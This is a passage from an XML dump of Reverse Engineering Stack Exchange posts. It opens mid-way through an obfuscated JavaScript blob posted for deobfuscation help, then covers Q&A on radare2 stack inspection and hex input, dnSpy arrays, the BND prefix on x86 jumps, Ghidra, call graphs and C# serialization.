xx.P0n=&quot;8406&quot;;m2xx.B0G=&quot;10723&quot;;G2xx.i2r=0x6ee89c63;v2xx.y3z=&quot;1856&quot;;G2xx.G7h=&quot;0x8e8e8907&quot;;M2xx.C21=&quot;0xb670d532&quot;;W2xx.F1k=&quot;8942&quot;;M2xx.d30=&quot;0xb3de080c&quot;;n2xx.h9y=&quot;0x7dce3ab4&quot;;n2xx.T5y=&quot;0x9357e70f&quot;;u2xx.D8r=&quot;0x766df6ad&quot;;c2xx.n2h=&quot;0x23654623&quot;;I2xx.A3G=&quot;1518&quot;;j2xx.p4h=&quot;0x4ed29c4e&quot;;E2xx.h4y=&quot;0x49&quot;;Q2xx.K1Z=3071;s2xx.T9X=&quot;4247&quot;;F2xx.Y2G=&quot;5246&quot;;S2xx.A3b=&quot;2091&quot;;U2xx.C41=&quot;0x1170ac1e&quot;;m2xx.T0G=&quot;65&quot;;v2xx.M4z=&quot;4129&quot;;k2xx.l2y=&quot;0x09&quot;;j2xx.O1h=&quot;0x61a3c261&quot;;B2xx.O2U=&quot;0x95c7c752&quot;;b2xx.b7y=&quot;0x119448fa&quot;;E2xx.k4y=&quot;0x62&quot;;v2xx.J4z=&quot;10974&quot;;k4vv.c3Q=1694;s2xx.o1t=&quot;2765&quot;;O2xx.s51=&quot;0x25f5024c&quot;;I2xx.C3G=&quot;3017&quot;;K2xx.M60=&quot;0x4c25f502&quot;;a2xx.f01=&quot;0xd2df599c&quot;;b2xx.x3y=&quot;0xef15e8e6&quot;;n2xx.Z9y=&quot;0xc920ac66&quot;;c2xx.F3U=&quot;0xc6844242&quot;;a2xx.B01=&quot;0x61c935b7&quot;;Z2xx.S1b=&quot;4646&quot;;i2xx.u50=&quot;0x198557f1&quot;;Z2xx.J4b=&quot;1&quot;;h2xx.s6b=&quot;887&quot;;F2xx.d2G=&quot;3715&quot;;G2xx.d3h=0x7c420fe9;T2xx.x1U=&quot;0x49a9a9e0&quot;;i2xx.K50=&quot;0xe70f9357&quot;;B2xx.h7n=&quot;4503&quot;;v2xx.P7z=&quot;4362&quot;;i2xx.L50=&quot;0x7e345bfb&quot;;K2xx.v60=&quot;0xa75051f4&quot;;I2xx.Q3G=&quot;5828&quot;;M2xx.s30=&quot;0x733f55f2&quot;;j2xx.l4h=&quot;0x0b1d160b&quot;;Z2xx.G0W=10338;g2xx.K2n=&quot;0xbccf0821&quot;;U2xx.G41=&quot;0x01269ff7&quot;;a2xx.O91=0xbb6bae84;K2xx.b60=&quot;0x58abacfa&quot;;n2xx.l9y=&quot;0xab73d323&quot;;B2xx.E3n=0x22;r2xx.v9U=&quot;0xd4984c4c&quot;;h2xx.Q0b=&quot;3534&quot;;Y2xx.k40=&quot;0xac1e1170&quot;;S2xx.c5b=&quot;5949&quot;;W2xx.L95=&quot;3660&quot;;E2xx.D2y=0x4c;r2xx.h6U=&quot;0x6a4c2626&quot;;u2xx.g8r=&quot;0xe67eaaff&quot;;S2xx.j5b=&quot;9122&quot;;B2xx.k2U=&quot;0x7e3f3f41&quot;;function m2xx(){}c2xx.l3U=&quot;0x7c84f87c&quot;;Q2xx.Z2V=5246;k4vv.T7Q=1190;P2xx.l5h=0x0a0a1e14;m2xx.c1G=&quot;3109&quot;;u2xx.W6r=&quot;4658&quot;;v2xx.D0z=&quot;72&quot;;M2xx.p21=&quot;0xe14fb6be&quot;;l2xx.C00=&quot;0x312a3f23&quot;;r2xx.C0U=&quot;0xaa5555ff&quot;;m2xx.K6G=&quot;8327&quot;;m2xx.h6G=&quot;631&quot;;F2xx.c2G=&quot;222&quot;;f2xx.z5U=&quot;0xe049a9a9&quot;;P2xx.r6h=&quot;0x1b1b2d36&quot;;j2xx.N4h=&quot;0xf407f3f4&quot;;v2xx.q7z=&quot;611&quot;;T2xx.X8U=&quot;0x70383848&quot;;o2xx.Z0y=&quot;0x54&quot;;function P2xx(){}F2xx.T4G=&quot;8772&quot;;K2xx.d60=&quot;0x3182e51a&quot;;c2xx.Y3U=&quot;0x63a5c663&quot;;r2xx.Z0U=&quot;0x50282878&quot;;u2xx.B3r=&quot;2074&quot;;I2xx.E2z=&quot;530&quot;;i2xx.B50=&quot;0xba0ae293&quot;;m2xx.j0G=&quot;4681&quot;;Z2xx.b1b=&quot;9055&quot;;j2xx.Q0h=&quot;0x42c68442&quot;;g2xx.b31=0xf75e2e39;C2xx.x7V=8122;c2xx.P8h=&quot;0xbcdf63bc&quot;;U2xx.K41=&quot;0x774b695a&quot;;B2xx.P7n=0x9f;M2xx.I21=&quot;0x275e963a&quot;;b2xx.l3y=&quot;0x764dd68d&quot;;U2xx.I11=&quot;0x494ec787&quot;;i2xx.p50=&quot;0x29768b43&quot;;S2xx.G7b=&quot;6532&quot;;g2xx.p2n=&quot;0x105633e9&quot;;E2xx.E4y=0x91;s2xx.r7X=&quot;2845&quot;;G2xx.H7h=&quot;0xe9e920c9&quot;;m2xx.O0G=&quot;3596&quot;;P2xx.b9h=&quot;0x3c3c4478&quot;;I2xx.X8z=&quot;2270&quot;;F2xx.a4G=&quot;7264&quot;;B2xx.W3n=&quot;0x45&quot;;r2xx.V0U=0xc98e4747;c2xx.j2h=&quot;0x2c74582c&quot;;k2xx.M35=&quot;0x30&quot;;C2xx.a2W=8918;U2xx.H11=&quot;0xffe67eaa&quot;;f2xx.E9U=0x6bbbd0d0;G2xx.c2r=&quot;0x640a0fd9&quot;;C2xx.T3V=8596;U2xx.F41=0xaed51e3d;m2xx.T6G=&quot;6469&quot;;Z2xx.G4b=&quot;562&quot;;r2xx.w9U=&quot;0x2cc1eded&quot;;O2xx.E51=0xaa4060ef;k4vv.n9Q=450;M2xx.W21=&quot;0x9d45f11f&quot;;u2xx.R7r=&quot;6825&quot;;O2xx.l51=&quot;0x3d96dd06&quot;;Q2xx.j8V=5834;o2xx.D1y=&quot;0x16&quot;;E2xx.r4y=0xea;g2xx.b8n=&quot;0xe9642247&quot;;c2xx.B3U=&quot;0x01030201&quot;;B2xx.h2U=&quot;0xe4727296&quot;;O2xx.H71=&quot;0x8af93e21&quot;;F2xx.S4G=&quot;9702&quot;;c2xx.m8h=&quot;0xd06bbbd0&quot;;B2xx.V5n=&quot;2734&quot;;v2xx.d7z=&quot;64&quot;;h2xx.e6b=&quot;1692&quot;;G2xx.N3h=&quot;0xc8ac993b&quot;;Z2xx.u1b=&quot;45&quot;;k2xx.Q2y=&quot;0x31&quot;;l2xx.s00=&quot;0x35b761c9&quot;;Y2xx.T20=&quot;0xd7c52acb&quot;;v2xx.v2k=&quot;2451&quot;;Z2xx.K1b=&quot;6832&quot;;n2xx.H9y=&quot;0x342e539d&quot;;k2xx.z35=&quot;0xcc&quot;;k2xx.D35=&quot;0x93&quot;;i2xx.h30=&quot;0xd81533a7&quot;;s2xx.z1t=&quot;2015&quot;;n2xx.u5y=0xe293ba0a;m2xx.X6G=&quot;8553&quot;;I2xx.k8z=&quot;9814&quot;;i2xx.F30=0xdaf741ec;P2xx.A9h=&quot;0x0c0c1418&quot;;j2xx.p8h=&quot;0x13352613&quot;;f2xx.M7U=0x90e07070;P2xx.S6h=&quot;0x31315362&quot;;b2xx.T3y=&quot;0x018c355d&quot;;l2xx.O10=&quot;0x26dab78e&quot;;a2xx.Z01=&quot;0x91f62f17&quot;;c2xx.G3U=&quot;0xca458fca&quot;;O2xx.u51=&quot;0x33e91056&quot;;G2xx.X7h=&quot;0x5555ffaa&quot;;O2xx.G51=&quot;0x7d854a24&quot;;S2xx.I3b=&quot;9418&quot;;P2xx.D0h=&quot;0xc0c05b9b&quot;;j2xx.b0h=&quot;0xf2f20dff&quot;;g2xx.t9n=&quot;871&quot;;M2xx.r21=&quot;0x4697a38d&quot;;K2xx.n90=&quot;0xc2032fb5&quot;;G2xx.U3h=0x51f4a750;v2xx.V7z=&quot;2912&quot;;E2xx.v8y=&quot;0x40&quot;;function C2xx(){}h2xx.Y6b=&quot;5232&quot;;O2xx.L91=&quot;0xe7038f5f&quot;;r2xx.h9U=&quot;0xbed46a6a&quot;;c2xx.h3U=&quot;0xda65bfbf&quot;;M2xx.V21=&quot;0x20ac66c9&quot;;s2xx.P9X=&quot;6648&quot;;C2xx.z5V=8088;G2xx.i7h=&quot;0x35355f6a&quot;;i2xx.f70=&quot;0xaff582c3&quot;;Z2xx.U1b=&quot;427&quot;;r2xx.d6U=&quot;0x68b9d1d1&quot;;l2xx.k00=&quot;0x0e7fcd50&quot;;f2xx.f9U=&quot;0xf3a25151&quot;;B2xx.q5n=&quot;1597&quot;;f2xx.Y7U=&quot;0xdd964b4b&quot;;m2xx.l1G=&quot;6966&quot;;I2xx.a5G=&quot;567&quot;;i2xx.I50=&quot;0x724e6c5a&quot;;k4vv.y1Q=9;O2xx.h51=&quot;0x5051f4a7&quot;;j2xx.n4h=&quot;0x143c2814&quot;;k4vv.Q7Q=1023;E2xx.K4y=&quot;0x37&quot;;M2xx.h81=&quot;0x7bf8b752&quot;;s2xx.A8t=&quot;6894&quot;;C2xx.V3V=8703;b2xx.x7y=&quot;0xb8e4f163&quot;;G2xx.Y2r=0xaedd3e05;m2xx.p0G=&quot;1921&quot;;r2xx.w6U=&quot;0x96e47272&quot;;Q2xx.h7Z=4582;u2xx.C6r=&quot;2576&quot;;c2xx.X3U=&quot;0xf00bfbf0&quot;;k4vv.o3Q=1541;F2xx.u8G=&quot;5712&quot;;K2xx.w50=&quot;0x5b38e719&quot;;s2xx.w8t=4294967296;v2xx.j1z=&quot;240&quot;;l2xx.m10=&quot;0xec0d8652&quot;;m2xx.e0G=&quot;8090&quot;;Y2xx.p80=&quot;0x51bd6e10&quot;;k2xx.N35=0x3f;W2xx.l0k=&quot;9685&quot;;C2xx.I9V=7436;T2xx.I4U=&quot;0x7a3d3d47&quot;;b2xx.O3y=&quot;0xc12c1fb8&quot;;o2xx.D0y=0x62;k4vv.m8Z=2268;c2xx.G2h=&quot;0x1b2d361b&quot;;a2xx.p01=&quot;0xe2250cbc&quot;;h2xx.b0b=&quot;8660&quot;;k2xx.n2y=&quot;0x27&quot;;a2xx.l61=&quot;0x73c737bf&quot;;s2xx.v44=function (){return typeof s2xx.M44.w2P==='function'?s2xx.M44.w2P.apply(s2xx.M44,arguments):s2xx.M44.w2P;};k4vv.h6Q=127;U2xx.w11=0xc1e3d077;P2xx.E9h=&quot;0x02020604&quot;;o2xx.P0y=&quot;0x67&quot;;m2xx.W0G=&quot;4616&quot;;U2xx.d81=&quot;0x420fe97c&quot;;T2xx.M8U=&quot;0xedfbfb16&quot;;K2xx.u90=&quot;0xec390b83&quot;;b2xx.C20=&quot;0xbce2250c&quot;;l2xx.I10=0xd077c1e3;l2xx.g00=&quot;0x2efb0b41&quot;;G2xx.C7h=&quot;0xe8e823cb&quot;;s2xx.g2t=&quot;3114&quot;;I2xx.H7G=&quot;4476&quot;;G2xx.p5h=&quot;0xeaea25cf&quot;;l2xx.x00=&quot;0xd629b07c&quot;;m2xx.T9G=&quot;6&quot;;K2xx.m90=0x6c8794de;m2xx.Q6G=&quot;8583&quot;;Z2xx.n0W=10221;M2xx.d21=0x6bae84bb;v2xx.j7z=&quot;6674&quot;;W2xx.Q9k=&quot;1798&quot;;b2xx.n3y=0x41ecdaf7;h2xx.W0b=&quot;6090&quot;;G2xx.I3h=&quot;0x90d8b8e8&quot;;a2xx.D61=&quot;0x1b9b919e&quot;;W2xx.C4k=&quot;5913&quot;;I2xx.P5G=&quot;10957&quot;;s2xx.l0g=function(){var E0g;return{v0g:function(){return E0g=!E0g;},m0g:function(){return Math&amp;amp;&amp;amp;typeof Math.random==='function'&amp;amp;&amp;amp;Math.random();}};}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28093" LastActivityDate="2019-04-09T14:57:52.003" Title="deobfuscating/decompiling extremely complicated javascript" Tags="|decompilation|deobfuscation|javascript|" AnswerCount="0" CommentCount="0" ClosedDate="2019-04-21T16:22:49.280" ContentLicense="CC BY-SA 4.0" />
  <row Id="21097" PostTypeId="1" AcceptedAnswerId="21100" CreationDate="2019-04-09T15:59:47.940" Score="2" ViewCount="939" Body="&lt;p&gt;How can i examine/edit stack contents using radare2, just like gdb ?&lt;br/&gt;&#xA;Is there a way to examine memory using $rbp or $rsp register like below.&lt;br&gt;&#xA;x $rbp-10 &amp;lt;--- something like this which can dump from this particular offset. &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i change the memory contents during debugging ?&lt;br/&gt;&#xA;example: something like set (address)=0xff&lt;/p&gt;&#xA;" OwnerUserId="15058" LastActivityDate="2019-04-10T06:55:58.210" Title="How to examine/edit stack memory contents using radare2 in debug mode?" Tags="|disassembly|radare2|stack|dumping|stack-variables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21098" PostTypeId="1" AcceptedAnswerId="21103" CreationDate="2019-04-09T16:22:06.517" Score="4" ViewCount="2310" Body="&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;&#xA;#include&amp;lt;stdlib.h&amp;gt;&#xA;int main() {&#xA;    puts(&quot;Enter input: &quot;);&#xA;    char buf[100];&#xA;    fgets(buf, 100, stdin);&#xA;    printf(&quot;%s&quot;, buf);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Suppose I am debugging a program, such as the one above, where I need to type in some input. Usually, what radare2 does is that it will allow me to type in any ascii input whenever the program demands that I have user input, and it will look like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Enter input: Hello&#xA;Hello&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, what if I need to type in hex input? Normally, if I wanted to use hex input for my program outside of radare2, I would use a command that looks like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python -c &quot;print('\x48\x65\x6c\x6c\x6f')&quot; | ./program&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I am debugging the program with radare2 and use something like \x48\x65\x6c\x6c\x6f as the input, radare2 will literally interpret the backlash x as a string that looks like &quot;\x&quot; instead of interpreting the input as hexadecimal. How would I go about inputting hex while inside of radare2 properly?&lt;/p&gt;&#xA;" OwnerUserId="28097" LastActivityDate="2019-04-26T04:16:02.617" Title="How do I type in hex input into radare2 debug mode?" Tags="|debugging|radare2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21099" PostTypeId="1" AcceptedAnswerId="21124" CreationDate="2019-04-09T16:36:30.420" Score="1" ViewCount="1288" Body="&lt;p&gt;I'm debugging a .NET application and see a declaration of a local array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ArrayType$$$BY05PAD $ArrayType$$$BY05PAD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I break on an instruction that uses data inside that (char*) array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;num9 = &amp;lt;Module&amp;gt;.strtoul(*(ref $ArrayType$$$BY05PAD + 4), null, 10);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before the call to strtoul, I want to show in a hex editor the contents of *(ref $ArrayType$$$BY05PAD + 4), but this is not a valid expression in the watch window and it doesn't appear as a local variable. How can I inspect raw field memory?&lt;/p&gt;&#xA;" OwnerUserId="28099" LastActivityDate="2019-04-11T18:54:42.317" Title="View Array Type in dnSpy" Tags="|binary-analysis|.net|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21100" PostTypeId="2" ParentId="21097" CreationDate="2019-04-09T19:28:27.640" Score="3" Body="&lt;p&gt;To examine in radare2 you can think as 'print values' and you can use:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;px                show hexdump &lt;br&gt;&#xA;   pxl               display N lines (rows) of hexdump &lt;br&gt;&#xA;   pxr[j]            show words with references to flags and code (q=quiet)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;br&gt;&#xA;&lt;em&gt;&gt; px [nBytes] @[address][offset] &lt;br&gt;&lt;/em&gt;&#xA;&quot;Print hex 10 bytes at rbp plus 10&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x5618eccbf77a]&amp;gt; px 10 @rbp+10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&gt; pxl [nLines] @[address][offset] &lt;br&gt;&lt;/em&gt;&#xA;&lt;em&gt;&gt; pxr [nBytes] @[address][offset] &lt;br&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To edit you can think as 'write' use:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;w[1248][+-][n]       increment/decrement byte,word..&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;br&gt;&#xA;&lt;em&gt;&gt; w [str] @[address]&lt;/em&gt; &lt;br&gt;&#xA;&quot;Write \x38\x38 at rbp&quot;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x5618eccbf77a]&amp;gt; w \x38\x38 @rbp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24762" LastEditorUserId="24762" LastEditDate="2019-04-10T06:55:58.210" LastActivityDate="2019-04-10T06:55:58.210" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21101" PostTypeId="1" AcceptedAnswerId="21102" CreationDate="2019-04-09T22:08:35.823" Score="2" ViewCount="979" Body="&lt;p&gt;I'm attempting to reverse engineer an executable packer, and I'm a little stumped on this x86 instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F2 EB F5    repne jmp short near ptr unk_88801B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to the Intel manual a repeat prefix is not supported on a 'jmp' instruction. Yet IDA, Ollydbg and Capstone decode this instruction as the above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This instruction appears in a section of code that is overlapped to obfuscate it, so I'm pretty certain the unsupported prefix is simply there to support the overlap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how does the processor handle this instruction? Does it just ignore the prefix, throw an illegal instruction, or ignore the instruction entirely?&lt;/p&gt;&#xA;" OwnerUserId="28102" LastActivityDate="2019-04-10T03:10:18.017" Title="What's the effect of adding a REP(N(E)) prefix to a JMP instruction?" Tags="|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21102" PostTypeId="2" ParentId="21101" CreationDate="2019-04-10T03:10:18.017" Score="2" Body="&lt;p&gt;This is a hard questions to answer since I have to explain how intel MTX works and I don't know how it works 100% but here I am going to try :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the beginning I though that IDA was giving you wrong disassemble code (that's not true I'll explain that later). &#xA;Since you give me extra info (opcodes) I assemble it with &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;rasm2&lt;/a&gt; and I got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ rasm2 -a x86 -d &quot;F2 EB F5&quot; &lt;br&gt;&#xA;bnd jmp 0xfffffff8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BND! that is not a illegal instruction, actually it is call an Intel MPX (Memory Protection Extensions) It was first announced in 2013 and introduced in 2015. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_MPX&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;&lt;/em&gt; &lt;br&gt;Intel MPX is a set of extensions to the x86 instruction&#xA;  set architecture. With compiler, runtime library and operating system&#xA;  support, Intel MPX brings increased security to software by checking&#xA;  pointer references whose normal compile-time intentions are&#xA;  maliciously exploited at runtime due to buffer overflows.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Intel MPX provides four new registers named bnd0-bnd3 that are use to set bounds to avoid memory attack. I recommend you to read &lt;a href=&quot;https://intel-mpx.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;, &lt;a href=&quot;https://arxiv.org/pdf/1702.00719.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;, and &lt;a href=&quot;https://xem.github.io/minix86/manual/intel-x86-and-64-manual-vol1/o_7281d5ea06a5b67a-398.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting back to your question. I think is going to work as a normal jmp because the bound registers are not initialized. How I know that? Your opcode is EB and if you read the articles you will read this.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An application compiled to use Intel MPX will use the REPNE (F2H)&#xA;  prefix (denoted by BND) for all forms of near  CALL, near RET, near&#xA;  JMP, short &amp;amp; near Jcc instructions (BND+CALL, BND+RET, BND+JMP,&#xA;  BND+Jcc). See &lt;a href=&quot;https://xem.github.io/minix86/manual/intel-x86-and-64-manual-vol1/o_7281d5ea06a5b67a-399.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Table  17-4&lt;/a&gt; for specific opcodes. &lt;strong&gt;All far CALL, RET and&#xA;  JMP instructions plus short JMP (JMP rel 8, opcode EB) instructions &#xA;  will never cause bound registers to be initialized&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Reading that I also understand why IDA was not giving you wrong code.&lt;/p&gt;&#xA;" OwnerUserId="24762" LastActivityDate="2019-04-10T03:10:18.017" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21103" PostTypeId="2" ParentId="21098" CreationDate="2019-04-10T06:10:14.737" Score="6" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Write the string in a file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo -e '\x48\x65\x6c\x6c\x6f' &amp;gt; p.text    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or           &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python -c &quot;print('\x48\x65\x6c\x6c\x6f')&quot; &amp;gt; p.text   &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Execute radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d program &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once inside of &lt;code&gt;r2&lt;/code&gt; execute &lt;code&gt;dor&lt;/code&gt; (an alias for &lt;code&gt;rarun2&lt;/code&gt;) and set the &lt;code&gt;stdin&lt;/code&gt; to the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f1a2522a090]&amp;gt; dor stdin=p.text&#xA;[0x7fb15f311e06]&amp;gt; doo # Reopen in debugger mode&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24762" LastEditorUserId="24762" LastEditDate="2019-04-26T04:16:02.617" LastActivityDate="2019-04-26T04:16:02.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21104" PostTypeId="2" ParentId="4624" CreationDate="2019-04-10T07:57:42.280" Score="2" Body="&lt;p&gt;You can try &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Ghidra is a software reverse engineering (SRE) framework created and maintained by the National Security Agency Research Directorate. This framework includes a suite of full-featured, high-end software analysis tools that enable users to analyze compiled code on a variety of platforms including Windows, macOS, and Linux. Capabilities include disassembly, assembly, decompilation, graphing, and scripting, along with hundreds of other features. Ghidra supports a wide variety of processor instruction sets and executable formats and can be run in both user-interactive and automated modes. Users may also develop their own Ghidra plug-in components and/or scripts using Java or Python.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28104" LastEditorUserId="16786" LastEditDate="2023-10-26T09:44:11.953" LastActivityDate="2023-10-26T09:44:11.953" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21105" PostTypeId="2" ParentId="21089" CreationDate="2019-04-10T08:02:00.540" Score="2" Body="&lt;p&gt;This problem essentially describes the field of &lt;a href=&quot;https://en.wikipedia.org/wiki/Sequential_analysis&quot; rel=&quot;nofollow noreferrer&quot;&gt;sequential analysis&lt;/a&gt; coupled with &lt;a href=&quot;https://en.wikipedia.org/wiki/Curve_fitting&quot; rel=&quot;nofollow noreferrer&quot;&gt;curve fitting&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are able to make some assumptions about the &lt;em&gt;inputs&lt;/em&gt; to the secret function that your model needs to be good for, you can use this to guide your choice of algorithm for generating new values to try as inputs to the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are able to make some assumptions about the &lt;em&gt;characteristics&lt;/em&gt; of the function, you can use this to guide your choice of function to fit to the outputs of the secret function, which will determine how the resulting function behaves when you subject it to inputs you haven't tried yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even the &quot;simple&quot; example given might be interpreted many different ways in these fields. For instance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you can't assume anything about the function &lt;em&gt;and&lt;/em&gt; your model of it &lt;em&gt;must&lt;/em&gt; reproduce exactly the correct value, you have no choice but to evaluate all 2^64 possibilities. You don't necessarily have to store them all as you go if you correctly guess a function that can reproduce every value with the right parameters.&lt;/li&gt;&#xA;&lt;li&gt;If you know that there is exactly one value of &lt;code&gt;a&lt;/code&gt; that changes the function, and that it is one of two linear functions of &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; depending on this value then you'll need on average 2^31 trials to find the magic &lt;code&gt;a&lt;/code&gt; value, significantly shrinking the problem.&lt;/li&gt;&#xA;&lt;li&gt;If you don't require an exact reproduction then you can begin reasoning from a value judgement about what errors are acceptable. For instance, a function which is completely wrong 2^-32 of the time might be perfectly acceptable, so if you know that the special case is no bigger than this you can just pick a few random values (almost certainly not accidentally picking &lt;code&gt;a = 234&lt;/code&gt;) and solve the linear equations.&lt;/li&gt;&#xA;&lt;li&gt;You might not reasonably know that the function has linear parts, but know that it's no more complex than some other function. The parameters to this more complex function, when fitted to outputs from the secret function, would produce a function which matches linear behaviour for the values obtained from the function, but wouldn't necessarily be guaranteed to behave linearly for untested values; the possible behaviours of any function you choose to fit must hence endeavour to match the range of behaviours that can be considered plausible under your assumptions.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are big fields, and there are plenty of options that may be available to you with the benefit of the specifics of your problem.&lt;/p&gt;&#xA;" OwnerUserId="28101" LastActivityDate="2019-04-10T08:02:00.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21106" PostTypeId="1" AcceptedAnswerId="21112" CreationDate="2019-04-10T13:06:15.237" Score="1" ViewCount="389" Body="&lt;p&gt;So i have written a python tool using capstone that disassembles the code section of a ELF binary using capstone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now i want to also create and show the call-graph of this binary in a dot format, I tried googling but couldn't find how to do this with capstone or if its possible with it or not, i also heard about some other frameworks like radare2 and such but I'm still not sure which framework is good for this purpose &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so what do you guys suggest? how can i make the call-graph by using some framework in my own code? ( i don't want a tool for this, i already know there are tools/programs for this out there, and i dont want to copy their code for this i want to write my own) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it even possible with static analysis, meaning just by reading the file? considering some function calls might be indirect? ( i only need to do this using call and ret instructions) &lt;/p&gt;&#xA;" OwnerUserId="25864" LastEditorUserId="25864" LastEditDate="2019-04-10T13:11:15.977" LastActivityDate="2019-04-10T15:59:44.527" Title="Best python framework/library for constructing the call-graph from binary?" Tags="|binary-analysis|python|binary|call-graph|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21107" PostTypeId="1" AcceptedAnswerId="21129" CreationDate="2019-04-10T13:45:08.147" Score="3" ViewCount="4626" Body="&lt;p&gt;I am trying to decode what seems to be simple C# binary serialization to disk:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/malaterre/MMCPrivate/raw/master/sample1.raw&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/malaterre/MMCPrivate/raw/master/sample1.raw&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/malaterre/MMCPrivate/raw/master/sample2.raw&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/malaterre/MMCPrivate/raw/master/sample2.raw&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I do not have access to the original DLL that generates this binary blob so I fail to understand how to process this file unless I have a full definition of all C# structures. If I had access to the original DLL I could reverse engineer the C# binary to find the structures, so how should I do in this case ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a 